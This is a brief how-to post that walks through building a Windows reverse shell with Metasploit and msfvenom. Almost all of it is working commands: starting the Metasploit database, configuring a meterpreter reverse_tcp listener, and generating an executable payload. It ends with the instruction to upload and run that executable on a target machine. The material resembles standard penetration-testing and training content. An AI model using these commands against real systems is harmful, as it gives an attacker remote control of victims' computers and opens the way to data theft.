Howto: Create a Windows reverse shell using Metasploit and msfvenom
By SecBurg
(Updated:
)
To create a reverse shell for Windows using Metasploit and msfvenom, do this:
- start Metasploit. I always use the option to connect to the database:
sudo msfdb run
- set the desired listener and options in Metasploit, and start it. I use the meterpreter listener here:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost YOUR.LOCAL.IP.HERE
set lport YOUR_PORT
run
- use msfvenom to create the Windows binary with the desired payload (in this case it is a staged meterpreter):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=YOUR.LOCAL.IP.HERE LPORT=YOUR_PORT \
-f exe -o filenameforshell.exe
- upload the in step 3 created exe file to the Windows target machine and run it.
NOTE: the payloads used in step 2 and 3 have to be the same!
If you still have trouble, because your meterpreter session is dying, take a look here for possible solutions: https://www.infosecmatter.com/why-is-your-meterpreter-session-dying-try-these-fixes/